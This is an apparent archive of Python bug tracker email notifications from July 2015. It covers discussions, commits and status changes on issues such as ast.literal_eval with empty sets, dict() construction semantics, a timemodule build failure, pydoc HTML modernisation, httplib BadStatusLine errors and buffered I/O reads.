open title: ast.literal_eval does not handle empty set literals versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 19:29:22 2015 From: report at bugs.python.org (Christian Barcenas) Date: Sat, 18 Jul 2015 17:29:22 +0000 Subject: [issue24659] dict() built-in fails on iterators with a "keys" attribute In-Reply-To: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za> Message-ID: <1437240562.72.0.701426818114.issue24659@psf.upfronthosting.co.za> Christian Barcenas added the comment: I'm aware of duck typing but I don't think this is the right place for it. (Although ABCs are ostensibly a kind of duck typing, as they do not require implementing classes to inherit from the ABC.) As Martin noticed, the glossary directly defines a "mapping" as a class that implements the Mapping ABC, and likewise the definition of an "iterable" under the glossary would satisfy the Iterable ABC. I think this is not just a documentation issue: the "quack" of a mapping has been well-defined and consistent since Python 2.7. Same for iterables. (It is worth noting that 2.6's definition of mapping was indeed just any object with a __getitem__ method ) > I think the documentation for the dict() constructor should say how to ensure the iterable and mapping modes are triggered. Doesn't it do this already by referencing the definitions of "iterable" and "mapping"? These ABCs are used in other built-ins such as any() and eval(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 19:34:53 2015 From: report at bugs.python.org (Ezio Melotti) Date: Sat, 18 Jul 2015 17:34:53 +0000 Subject: [issue24663] ast.literal_eval does not handle empty set literals In-Reply-To: <1437240496.13.0.316743645205.issue24663@psf.upfronthosting.co.za> Message-ID: <1437240893.45.0.864877052469.issue24663@psf.upfronthosting.co.za> Ezio Melotti added the comment: I believe this is by design, since set() -- like str(), list(), dict(), etc -- is not a literal. I don't think set() should be special-cased either. Perhaps you could tell us more about your use case? ---------- nosy: +ezio.melotti resolution: -> not a bug status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 19:37:53 2015 From: report at bugs.python.org (Filip Haglund) Date: Sat, 18 Jul 2015 17:37:53 +0000 Subject: [issue24663] ast.literal_eval does not handle empty set literals In-Reply-To: <1437240496.13.0.316743645205.issue24663@psf.upfronthosting.co.za> Message-ID: <1437241073.9.0.802287697019.issue24663@psf.upfronthosting.co.za> Filip Haglund added the comment: Okey, then this is not a bug. I can just handle this special case myself. Thanks! ---------- status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 19:40:12 2015 From: report at bugs.python.org (Ezio Melotti) Date: Sat, 18 Jul 2015 17:40:12 +0000 Subject: [issue24663] ast.literal_eval does not handle empty set literals In-Reply-To: <1437240496.13.0.316743645205.issue24663@psf.upfronthosting.co.za> Message-ID: <1437241212.49.0.0622234021099.issue24663@psf.upfronthosting.co.za> Changes by Ezio Melotti : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 20:01:12 2015 From: report at bugs.python.org (=?utf-8?q?Zbyszek_J=C4=99drzejewski-Szmek?=) Date: Sat, 18 Jul 2015 18:01:12 +0000 Subject: [issue24664] build failure with _Py_BEGIN_SUPPRESS_IPH undefined Message-ID: <1437242472.71.0.845093322193.issue24664@psf.upfronthosting.co.za> New submission from Zbyszek J?drzejewski-Szmek: I'm not sure if I'm doing something wrong, because other people should be seeing this too... Anyway, attached patch fixes the issue for me. ---------- components: Interpreter Core, Library (Lib) files: 0001-Always-define-_Py_-_SUPPRESS_IPH-macros.patch keywords: patch messages: 246910 nosy: zbysz priority: normal severity: normal status: open title: build failure with _Py_BEGIN_SUPPRESS_IPH undefined versions: Python 3.6 Added file: http://bugs.python.org/file39947/0001-Always-define-_Py_-_SUPPRESS_IPH-macros.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 20:01:24 2015 From: report at bugs.python.org (Roundup Robot) Date: Sat, 18 Jul 2015 18:01:24 +0000 Subject: [issue24655] _ssl.c: Missing "do" for do {} while(0) idiom In-Reply-To: <1437172344.03.0.227918282802.issue24655@psf.upfronthosting.co.za> Message-ID: <20150718180121.23357.97291@psf.io> Roundup Robot added the comment: New changeset 24cf6b4d72c2 by Benjamin Peterson in branch '3.4': improve style of the convert macro (#24655) https://hg.python.org/cpython/rev/24cf6b4d72c2 New changeset bffa3b5fd2d8 by Benjamin Peterson in branch '3.5': merge 3.4 (#24655) https://hg.python.org/cpython/rev/bffa3b5fd2d8 New changeset 35d6606b2480 by Benjamin Peterson in branch 'default': merge 3.5 (#24655) https://hg.python.org/cpython/rev/35d6606b2480 New changeset e4f9562d625d by Benjamin Peterson in branch '2.7': improve style of the convert macro (#24655) https://hg.python.org/cpython/rev/e4f9562d625d ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 20:22:14 2015 From: report at bugs.python.org (Benjamin Peterson) Date: Sat, 18 Jul 2015 18:22:14 +0000 Subject: [issue24655] _ssl.c: Missing "do" for do {} while(0) idiom In-Reply-To: <1437172344.03.0.227918282802.issue24655@psf.upfronthosting.co.za> Message-ID: <1437243734.88.0.421104123155.issue24655@psf.upfronthosting.co.za> Changes by Benjamin Peterson : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 21:31:55 2015 From: report at bugs.python.org (Ethan Furman) Date: Sat, 18 Jul 2015 19:31:55 +0000 Subject: [issue24656] remove "assret" from mock error checking In-Reply-To: <1437180484.75.0.469707638561.issue24656@psf.upfronthosting.co.za> Message-ID: <1437247915.39.0.0223182732985.issue24656@psf.upfronthosting.co.za> Changes by Ethan Furman : ---------- stage: -> patch review type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:22:41 2015 From: report at bugs.python.org (Roundup Robot) Date: Sat, 18 Jul 2015 20:22:41 +0000 Subject: [issue24206] Issues with equality of inspect objects In-Reply-To: <1431770076.76.0.66184936679.issue24206@psf.upfronthosting.co.za> Message-ID: <20150718202237.30201.17222@psf.io> Roundup Robot added the comment: New changeset 5ec2bfbe8115 by Serhiy Storchaka in branch '3.4': Issue #24206: Fixed __eq__ and __ne__ methods of inspect classes. https://hg.python.org/cpython/rev/5ec2bfbe8115 New changeset 66a5f66b4049 by Serhiy Storchaka in branch '3.5': Issue #24206: Fixed __eq__ and __ne__ methods of inspect classes. https://hg.python.org/cpython/rev/66a5f66b4049 New changeset adc9869c6d0d by Serhiy Storchaka in branch 'default': Issue #24206: Fixed __eq__ and __ne__ methods of inspect classes. https://hg.python.org/cpython/rev/adc9869c6d0d ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:26:07 2015 From: report at bugs.python.org (STINNER Victor) Date: Sat, 18 Jul 2015 20:26:07 +0000 Subject: [issue24664] build failure with _Py_BEGIN_SUPPRESS_IPH undefined In-Reply-To: <1437242472.71.0.845093322193.issue24664@psf.upfronthosting.co.za> Message-ID: <1437251167.15.0.948477404129.issue24664@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- components: +Build, Windows nosy: +paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:38:14 2015 From: report at bugs.python.org (Roundup Robot) Date: Sat, 18 Jul 2015 20:38:14 +0000 Subject: [issue24580] Wrong or missing exception when compiling regexes with recursive named backreferences In-Reply-To: <1436232341.94.0.272846345594.issue24580@psf.upfronthosting.co.za> Message-ID: <20150718203811.30203.98483@psf.io> Roundup Robot added the comment: New changeset 361d7af9396e by Serhiy Storchaka in branch '3.5': Issue #24580: Symbolic group references to open group in re patterns now are https://hg.python.org/cpython/rev/361d7af9396e New changeset 4d3557500019 by Serhiy Storchaka in branch 'default': Issue #24580: Symbolic group references to open group in re patterns now are https://hg.python.org/cpython/rev/4d3557500019 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:38:54 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 18 Jul 2015 20:38:54 +0000 Subject: [issue24206] Issues with equality of inspect objects In-Reply-To: <1431770076.76.0.66184936679.issue24206@psf.upfronthosting.co.za> Message-ID: <1437251934.67.0.122687081192.issue24206@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- assignee: -> serhiy.storchaka resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.4, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:52:22 2015 From: report at bugs.python.org (Mark Lawrence) Date: Sat, 18 Jul 2015 20:52:22 +0000 Subject: [issue24664] build failure with _Py_BEGIN_SUPPRESS_IPH undefined In-Reply-To: <1437242472.71.0.845093322193.issue24664@psf.upfronthosting.co.za> Message-ID: <1437252742.72.0.0775247997037.issue24664@psf.upfronthosting.co.za> Mark Lawrence added the comment: There is a reference in the patch file to #23524. ---------- nosy: +BreamoreBoy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:52:29 2015 From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis) Date: Sat, 18 Jul 2015 20:52:29 +0000 Subject: [issue24407] Use after free in PyDict_merge In-Reply-To: <1433764625.15.0.894965258929.issue24407@psf.upfronthosting.co.za> Message-ID: <1437252749.68.0.21682130023.issue24407@psf.upfronthosting.co.za> Changes by Arfrever Frehtes Taifersar Arahesis : ---------- nosy: +Arfrever _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:53:28 2015 From: report at bugs.python.org (=?utf-8?q?Zbyszek_J=C4=99drzejewski-Szmek?=) Date: Sat, 18 Jul 2015 20:53:28 +0000 Subject: [issue24664] build failure with _Py_BEGIN_SUPPRESS_IPH undefined In-Reply-To: <1437242472.71.0.845093322193.issue24664@psf.upfronthosting.co.za> Message-ID: <1437252808.09.0.31450946949.issue24664@psf.upfronthosting.co.za> Zbyszek J?drzejewski-Szmek added the comment: Oh, for the record, the build failure: building 'time' extension gcc -pthread -fPIC -Wno-unused-result -Wsign-compare -Wunreachable-code -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -Werror=declaration-after-statement -I../Include -I. -IInclude -I/usr/local/include -I/home/zbyszek/python/cpython/Include -I/home/zbyszek/python/cpython/build -c /home/zbyszek/python/cpython/Modules/timemodule.c -o build/temp.linux-x86_64-3.6/home/zbyszek/python/cpython/Modules/timemodule.o /home/zbyszek/python/cpython/Modules/timemodule.c: In function ?time_strftime?: /home/zbyszek/python/cpython/Modules/timemodule.c:656:9: error: unknown type name ?_Py_BEGIN_SUPPRESS_IPH? _Py_BEGIN_SUPPRESS_IPH ^ /home/zbyszek/python/cpython/Modules/timemodule.c:656:9: error: ISO C90 forbids mixed declarations and code [-Werror=declaration-after-statement] /home/zbyszek/python/cpython/Modules/timemodule.c:658:9: error: ?_Py_END_SUPPRESS_IPH? undeclared (first use in this function) _Py_END_SUPPRESS_IPH ^ /home/zbyszek/python/cpython/Modules/timemodule.c:658:9: note: each undeclared identifier is reported only once for each function it appears in /home/zbyszek/python/cpython/Modules/timemodule.c:662:9: error: expected ?;? before ?if? if (buflen > 0 || i >= 256 * fmtlen) { ^ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:55:04 2015 From: report at bugs.python.org (Steve Dower) Date: Sat, 18 Jul 2015 20:55:04 +0000 Subject: [issue24664] build failure with _Py_BEGIN_SUPPRESS_IPH undefined In-Reply-To: <1437242472.71.0.845093322193.issue24664@psf.upfronthosting.co.za> Message-ID: <1437252904.03.0.269027203224.issue24664@psf.upfronthosting.co.za> Steve Dower added the comment: I was going to guess it was timemodule.c. You need to "make distclean" or "hg purge" to clean up your repo. This seems to be some sort of gcc/configure issue. So far everyone else who has seen this has fixed it by cleaning their repo. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat Jul 18 22:56:15 2015 From: report at bugs.python.org (=?utf-8?q?Fr=C3=A9d=C3=A9ric_Jolliton?=) Date: Sat, 18 Jul 2015 20:56:15 +0000 Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za> Message-ID: <1437252975.64.0.54695196923.issue10716@psf.upfronthosting.co.za> Fr?d?ric Jolliton added the comment: Oh god. The HTML produced by pydoc is awful. This is absolutely nothing modern about it. The code itself hurts my brain. It feels very old (14 years old..), and the HTML production is overly complex, and hard to check regarding correct quoting/escaping. Generating modern HTML5/CSS would mean: - Using

,

, for section title, - Forget about
(this element should never be used nowadays), - Forget about
(let the CSS decide when to insert a visual separator after/before a given element), - Don't use for block of code. This is an inline element. Use 
 for example.
 - Don't use  all over the place for formatting everything (use 
  •  for the list of modules for instance),
 - Drop these useless 
     (empty!)
 - No need to replace \n by 
    , or to replace space by  . The formatting can be achieved by white-space: pre in CSS.
 -  or  could be replaced by  to distinguish them from hyperlinks.
 - the table "docclass" could be a serie of 
     (or 
    ) title followed by the content of the section. The table seems useless because there are no particular requirement for an alignment.
 - and so on, and so on, ..

Actually, I think this need a complete rewrite.

This is a useful tool to have included with Python, but this need a serious refresh.

To me, a "modern" documentation is something like this (from the Rust documentation):

    https://doc.rust-lang.org/std/option/enum.Option.html
    https://doc.rust-lang.org/std/option/index.html

(Look at the generated HTML too. It's rather straightforward.)

----------
nosy: +Fr?d?ric Jolliton

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 18 23:00:53 2015
From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis)
Date: Sat, 18 Jul 2015 21:00:53 +0000
Subject: [issue24568] Misc/NEWS: "free-after-use" -> "use-after-free"
In-Reply-To: <1436098037.39.0.99506662274.issue24568@psf.upfronthosting.co.za>
Message-ID: <1437253253.1.0.106065653441.issue24568@psf.upfronthosting.co.za>


Arfrever Frehtes Taifersar Arahesis added the comment:

Still not fixed.

----------
nosy: +Arfrever, benjamin.peterson
resolution: fixed -> 
stage: resolved -> 
status: closed -> open

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 18 23:45:44 2015
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 18 Jul 2015 21:45:44 +0000
Subject: [issue24656] remove "assret" from mock error checking
In-Reply-To: <1437180484.75.0.469707638561.issue24656@psf.upfronthosting.co.za>
Message-ID: <1437255944.19.0.757999299369.issue24656@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
nosy: +kushal.das, ncoghlan, rbcollins

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 18 23:52:55 2015
From: report at bugs.python.org (Berker Peksag)
Date: Sat, 18 Jul 2015 21:52:55 +0000
Subject: [issue24655] _ssl.c: Missing "do" for do {} while(0) idiom
In-Reply-To: <1437172344.03.0.227918282802.issue24655@psf.upfronthosting.co.za>
Message-ID: <1437256375.57.0.195154481401.issue24655@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
stage: commit review -> resolved

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 00:22:13 2015
From: report at bugs.python.org (Bob Ippolito)
Date: Sat, 18 Jul 2015 22:22:13 +0000
Subject: [issue24641] Log type of unserializable value when raising JSON
 TypeError
In-Reply-To: <1436993372.93.0.482029912936.issue24641@psf.upfronthosting.co.za>
Message-ID: <1437258133.56.0.661317382327.issue24641@psf.upfronthosting.co.za>


Bob Ippolito added the comment:

This seems like a very reasonable proposal. It would be great if we could also include a path in the error message (e.g. `obj["foo"][1]["bar"]`) as well to provide enough context to track down the error quickly.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 00:53:03 2015
From: report at bugs.python.org (Alex Walters)
Date: Sat, 18 Jul 2015 22:53:03 +0000
Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS
In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za>
Message-ID: <1437259983.94.0.0300752584059.issue10716@psf.upfronthosting.co.za>


Alex Walters added the comment:

Isn't this whats sphinx's apidoc is for?

----------
nosy: +tritium

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:16:00 2015
From: report at bugs.python.org (Chris Mattmann)
Date: Sat, 18 Jul 2015 23:16:00 +0000
Subject: [issue23054] ConnectionError: ('Connection aborted.',
 BadStatusLine(""''''"))
In-Reply-To: <1418654943.54.0.176050651858.issue23054@psf.upfronthosting.co.za>
Message-ID: <1437261360.13.0.839402017618.issue23054@psf.upfronthosting.co.za>


Chris Mattmann added the comment:

Hi there, we are experiencing this in tika-python too, see:

https://github.com/chrismattmann/tika-python/issues/44

----------
nosy: +chrismattmann

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:27:59 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 18 Jul 2015 23:27:59 +0000
Subject: [issue10716] Modernize pydoc to use better HTML and separate CSS
In-Reply-To: <1292491539.55.0.135732310832.issue10716@psf.upfronthosting.co.za>
Message-ID: <1437262079.75.0.739457776583.issue10716@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
keywords: +easy -patch
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:28:48 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 18 Jul 2015 23:28:48 +0000
Subject: [issue24568] Misc/NEWS: "free-after-use" -> "use-after-free"
In-Reply-To: <1436098037.39.0.99506662274.issue24568@psf.upfronthosting.co.za>
Message-ID: <1437262128.09.0.781413004435.issue24568@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
assignee: docs at python -> rhettinger
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:31:40 2015
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 18 Jul 2015 23:31:40 +0000
Subject: [issue24568] Misc/NEWS: "free-after-use" -> "use-after-free"
In-Reply-To: <1436098037.39.0.99506662274.issue24568@psf.upfronthosting.co.za>
Message-ID: <20150718233136.87954.81700@psf.io>


Roundup Robot added the comment:

New changeset 669d6b5c1734 by Raymond Hettinger in branch '2.7':
Issue #24568: fix typo.
https://hg.python.org/cpython/rev/669d6b5c1734

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:31:57 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 18 Jul 2015 23:31:57 +0000
Subject: [issue24568] Misc/NEWS: "free-after-use" -> "use-after-free"
In-Reply-To: <1436098037.39.0.99506662274.issue24568@psf.upfronthosting.co.za>
Message-ID: <1437262317.54.0.426053960634.issue24568@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:33:03 2015
From: report at bugs.python.org (=?utf-8?q?Zbyszek_J=C4=99drzejewski-Szmek?=)
Date: Sat, 18 Jul 2015 23:33:03 +0000
Subject: [issue24664] build failure with _Py_BEGIN_SUPPRESS_IPH undefined
In-Reply-To: <1437242472.71.0.845093322193.issue24664@psf.upfronthosting.co.za>
Message-ID: <1437262383.97.0.254130112873.issue24664@psf.upfronthosting.co.za>


Zbyszek J?drzejewski-Szmek added the comment:

Indeed, make distclean fixes the problem.

----------
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:35:23 2015
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 18 Jul 2015 23:35:23 +0000
Subject: [issue24664] build failure with _Py_BEGIN_SUPPRESS_IPH undefined
In-Reply-To: <1437242472.71.0.845093322193.issue24664@psf.upfronthosting.co.za>
Message-ID: <1437262523.79.0.539777183373.issue24664@psf.upfronthosting.co.za>


Changes by Zachary Ware :


----------
resolution:  -> not a bug
stage:  -> resolved

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:46:59 2015
From: report at bugs.python.org (Ethan Furman)
Date: Sat, 18 Jul 2015 23:46:59 +0000
Subject: [issue24656] remove "assret" from mock error checking
In-Reply-To: <1437180484.75.0.469707638561.issue24656@psf.upfronthosting.co.za>
Message-ID: <1437263219.81.0.0517739869495.issue24656@psf.upfronthosting.co.za>


Ethan Furman added the comment:

Addressed comments from berker.peksag.

----------
Added file: http://bugs.python.org/file39948/remove_assret.stoneleaf.03.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:48:53 2015
From: report at bugs.python.org (Michael Foord)
Date: Sat, 18 Jul 2015 23:48:53 +0000
Subject: [issue24656] remove "assret" from mock error checking
In-Reply-To: <1437255944.24.0.114930659177.issue24656@psf.upfronthosting.co.za>
Message-ID: 


Michael Foord added the comment:

-1

The whole thread is absurd. I'm travelling for europython and only have
internet access on my phone until tomorrow at the earliest.

On Saturday, 18 July 2015, Berker Peksag  wrote:
>
> Changes by Berker Peksag :
>
>
> ----------
> nosy: +kushal.das, ncoghlan, rbcollins
>
> _______________________________________
> Python tracker 
> 
> _______________________________________
>

-- 

http://www.voidspace.org.uk/

May you do good and not evil
May you find forgiveness for yourself and forgive others
May you share freely, never taking more than you give.
-- the sqlite blessing http://www.sqlite.org/different.html

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 01:52:33 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 18 Jul 2015 23:52:33 +0000
Subject: [issue24659] dict() built-in fails on iterators with a "keys"
 attribute
In-Reply-To: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za>
Message-ID: <1437263553.21.0.850920701231.issue24659@psf.upfronthosting.co.za>


Changes by Raymond Hettinger :


----------
assignee: docs at python -> rhettinger
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 02:11:44 2015
From: report at bugs.python.org (Martin Panter)
Date: Sun, 19 Jul 2015 00:11:44 +0000
Subject: [issue8450] httplib: false BadStatusLine() raised
In-Reply-To: <1271630731.08.0.327097174192.issue8450@psf.upfronthosting.co.za>
Message-ID: <1437264704.23.0.838056001001.issue8450@psf.upfronthosting.co.za>


Martin Panter added the comment:

Issue 3566 has added a new exception subclass, RemoteDisconnected, in 3.5. People are still complaining about the old BadStatusLine exception in Python 2 though. See Issue 23054.

Python 2 could still get better documentation of the BadStatusLine exception. Currently it gives the impression that it only happens when the ?strict? parameter is True, and a status line was received that was not understood.

The exception message could also be improved. Due to Issue 7427, there is a special case to make the message literally two quote signs (''), representing an empty string. Perhaps messages like ?End of stream signalled?, ?No status line?, or ?Empty status line? would be clearer.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 02:23:42 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 19 Jul 2015 00:23:42 +0000
Subject: [issue24659] dict() built-in fails on iterators with a "keys"
 attribute
In-Reply-To: <1437209700.05.0.411435282726.issue24659@psf.upfronthosting.co.za>
Message-ID: <1437265422.07.0.18944919381.issue24659@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

> I'm aware of duck typing but I don't think this 
> is the right place for it. 

The code for dicts is very old, stable, and unlikely to change.  Also, the logic of checking for .keys() is immortalized in the collections.abc.MutableMapping update() method.

For the most part, consumers of iterables, sequences, and mappings are allowed to use duct-typing (this is a feature of the language, not a bug).

The docs can be improved in a number of places.  For example the docstring on the dict constructor is out of sync with the dict.update() method:

    >>> print(dict.__doc__)
    dict() -> new empty dictionary
    dict(mapping) -> new dictionary initialized from a mapping object's
        (key, value) pairs
    dict(iterable) -> new dictionary initialized as if via:
        d = {}
        for k, v in iterable:
            d[k] = v
    dict(**kwargs) -> new dictionary initialized with the name=value pairs
        in the keyword argument list.  For example:  dict(one=1, two=2)
    >>> print(dict.update.__doc__)
    D.update([E, ]**F) -> None.  Update D from dict/iterable E and F.
    If E is present and has a .keys() method, then does:  for k in E: D[k] = E[k]
    If E is present and lacks a .keys() method, then does:  for k, v in E: D[k] = v
    In either case, this is followed by: for k in F:  D[k] = F[k]

In addition, the glossary entries for iterable, sequence, and mapping need to be improved to distinguish between their somewhat vague use in a general sense versus the specific meaning of isinstance(obj, Mapping).  Unless the docs specify a check for the latter, they almost always do some form of duck-typing or a check for concrete built-in class or subclass.

Terms like "mapping" and "sequence" are often used somewhat generally both inside and outside the Python world.  Sometimes mapping is used in the mathematic sense (pairing each member of the domain with each member of the range), http://www.icoachmath.com/math_dictionary/mapping.html, and sometimes in the sense of a subset of dict capabilities (i.e. has __getitem__ and keys).  

The docs for PyMapping_Check() need to be updated to indicate the known limitations of the check and to disambiguate it from isinstance(obj, Mapping).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 02:36:27 2015
From: report at bugs.python.org (Martin Panter)
Date: Sun, 19 Jul 2015 00:36:27 +0000
Subject: [issue23054] ConnectionError: ('Connection aborted.',
 BadStatusLine(""''''"))
In-Reply-To: <1418654943.54.0.176050651858.issue23054@psf.upfronthosting.co.za>
Message-ID: <1437266187.93.0.598488916314.issue23054@psf.upfronthosting.co.za>


Martin Panter added the comment:

There is hopefully a better RemoteDisconnected exception and documentation in 3.5, thanks to Issue 3566. In Python 2, I think this is the same as Issue 8450.

----------
resolution:  -> duplicate
status: open -> closed
superseder:  -> httplib: false BadStatusLine() raised

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 02:36:57 2015
From: report at bugs.python.org (Martin Panter)
Date: Sun, 19 Jul 2015 00:36:57 +0000
Subject: [issue8450] httplib: false BadStatusLine() raised
In-Reply-To: <1271630731.08.0.327097174192.issue8450@psf.upfronthosting.co.za>
Message-ID: <1437266217.5.0.307395916347.issue8450@psf.upfronthosting.co.za>


Changes by Martin Panter :


----------
components: +Documentation

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 04:33:33 2015
From: report at bugs.python.org (Eric V. Smith)
Date: Sun, 19 Jul 2015 02:33:33 +0000
Subject: [issue24661] CGIHTTPServer: premature unescaping of query string
In-Reply-To: <1437228241.83.0.784813490758.issue24661@psf.upfronthosting.co.za>
Message-ID: <1437273213.86.0.244433028789.issue24661@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

I would expect the cgi script to receive the unescaped values. Can you point to some reference that says otherwise?

----------
nosy: +eric.smith

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 04:44:39 2015
From: report at bugs.python.org (Florent Gallaire)
Date: Sun, 19 Jul 2015 02:44:39 +0000
Subject: [issue24665] CJK support for textwrap
Message-ID: <1437273879.55.0.48083735658.issue24665@psf.upfronthosting.co.za>


Changes by Florent Gallaire :


----------
components: Library (Lib)
files: CJK.patch
keywords: patch
nosy: fgallaire
priority: normal
severity: normal
status: open
title: CJK support for textwrap
type: enhancement
versions: Python 2.7
Added file: http://bugs.python.org/file39949/CJK.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 05:28:30 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 19 Jul 2015 03:28:30 +0000
Subject: [issue24665] CJK support for textwrap
Message-ID: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

This is new feature and can be added only in 3.6.

Issue12499 looks related. See also issue12568.

----------
nosy: +georg.brandl, pitrou, serhiy.storchaka
versions: +Python 3.6 -Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 07:00:46 2015
From: report at bugs.python.org (Eric Pruitt)
Date: Sun, 19 Jul 2015 05:00:46 +0000
Subject: [issue24666] Buffered I/O does not take file position into account
 when reading blocks
Message-ID: <1437282046.06.0.196054163473.issue24666@psf.upfronthosting.co.za>


New submission from Eric Pruitt:

When buffering data from a file, the buffered I/O does not take into account the current file descriptor position. In the following example, I open a file and seek forward 1,000 bytes:

>>> f = open("test-file", "rb")
>>> f.seek(1000)
1000
>>> f.readline()

The filesystem on which "test-file" resides has a block size of 4,096 bytes, so on the backend, I would expect Python to read 3,096 bytes so the next read will be aligned with the filesystem blocks. What actually happens is that Python reads a 4,096 bytes. This is the output from an strace attached to the interpreter above:

Process 16543 attached
lseek(4, 0, SEEK_CUR)                   = 0
lseek(4, 1000, SEEK_SET)                = 1000
read(4, "\000\000\000\000\000\000\000\000\000\000"..., 4096) = 4096

----------
components: IO
messages: 246931
nosy: ericpruitt
priority: normal
severity: normal
status: open
title: Buffered I/O does not take file position into account when reading blocks
type: behavior
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 07:04:05 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 19 Jul 2015 05:04:05 +0000
Subject: [issue24666] Buffered I/O does not take file position into account
 when reading blocks
In-Reply-To: <1437282046.06.0.196054163473.issue24666@psf.upfronthosting.co.za>
Message-ID: <1437282245.63.0.42685383632.issue24666@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
nosy: +benjamin.peterson, pitrou, stutzbach

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 09:13:12 2015
From: report at bugs.python.org (Florent Gallaire)
Date: Sun, 19 Jul 2015 07:13:12 +0000
Subject: [issue24665] CJK support for textwrap
In-Reply-To: <1437276510.99.0.116072917153.issue24665@psf.upfronthosting.co.za>
Message-ID: <1437289992.61.0.243626832008.issue24665@psf.upfronthosting.co.za>


Florent Gallaire added the comment:

Bad wrapping of CJK chars is a bug.
I don't understand why Python2 should be broken forever!

----------
versions: +Python 2.7 -Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Jul 19 09:54:25 2015
